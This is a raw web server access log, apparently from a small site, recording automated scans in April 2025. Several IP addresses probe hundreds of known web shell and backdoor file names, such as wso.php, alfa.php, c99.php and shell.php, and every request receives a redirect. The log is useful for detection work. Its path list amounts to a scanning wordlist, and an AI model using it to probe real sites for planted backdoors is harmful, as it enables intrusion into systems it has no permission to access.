40.69.222.47 - - [12/Apr/2025:18:30:46 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:47 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:48 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:48 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:49 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:50 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:51 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:51 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:52 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:53 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:53 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:54 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:54 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:55 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:56 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:56 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:57 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:58 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:30:59 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:00 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:01 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:02 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:03 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:04 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:05 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:05 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:06 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:07 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:07 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:08 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:09 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:09 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:10 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:11 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:12 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:12 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:14 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:15 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:17 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:18 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:18 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:19 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:20 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:21 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:22 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:22 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:23 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:24 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:25 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:26 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:27 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:28 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:28 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:30 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:31 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:32 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:33 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:34 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:35 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:36 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:37 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:37 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:39 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:40 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:41 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:42 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:42 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:44 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:45 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:46 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:47 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:47 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:48 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:48 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:49 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:51 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:52 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:53 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:54 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:55 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:56 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:57 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:57 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:58 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:59 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:31:59 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:00 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:01 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:01 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:03 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:04 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:04 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:05 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:06 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:07 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:08 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:10 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:11 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:11 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:13 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:13 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:14 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:15 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:17 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:19 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:20 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:32:21 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 13.79.31.54 - - [12/Apr/2025:18:41:04 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:08 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:12 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:15 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:16 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:17 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:23 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:27 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:30 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:18:41:31 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 23.88.72.234 - - [12/Apr/2025:19:26:06 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36" 104.219.236.186 - - [12/Apr/2025:19:43:18 -0400] "HEAD / HTTP/1.1" 301 0 "designpitara.com" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28" 13.82.177.167 - - [12/Apr/2025:20:29:55 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:56 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:56 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:57 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:58 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:58 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:59 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:29:59 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:00 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:01 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:02 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:05 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:08 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:10 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:13 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:17 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:20 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:22 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:26 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:29 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:32 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:33 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:35 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:36 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:37 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:38 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:38 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:40 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:41 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:43 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:46 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:47 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:49 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:51 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:52 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:53 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:54 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:55 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:57 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:57 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:30:59 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:00 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:02 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:03 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:06 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:07 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:09 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:11 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:13 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:15 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:16 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:17 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:18 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:18 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:20 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:21 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:22 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:24 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:25 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:26 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:28 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:28 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:30 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:31 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:32 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:33 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:34 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:35 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:36 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:37 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:38 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:38 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:38 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:39 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:40 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:40 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:41 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:41 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:43 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:45 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:45 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:46 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:48 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:49 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:51 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:52 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:53 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:53 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:54 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:55 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:55 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:56 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:56 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:57 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:58 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:58 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:59 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:59 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:31:59 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [12/Apr/2025:20:32:00 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - 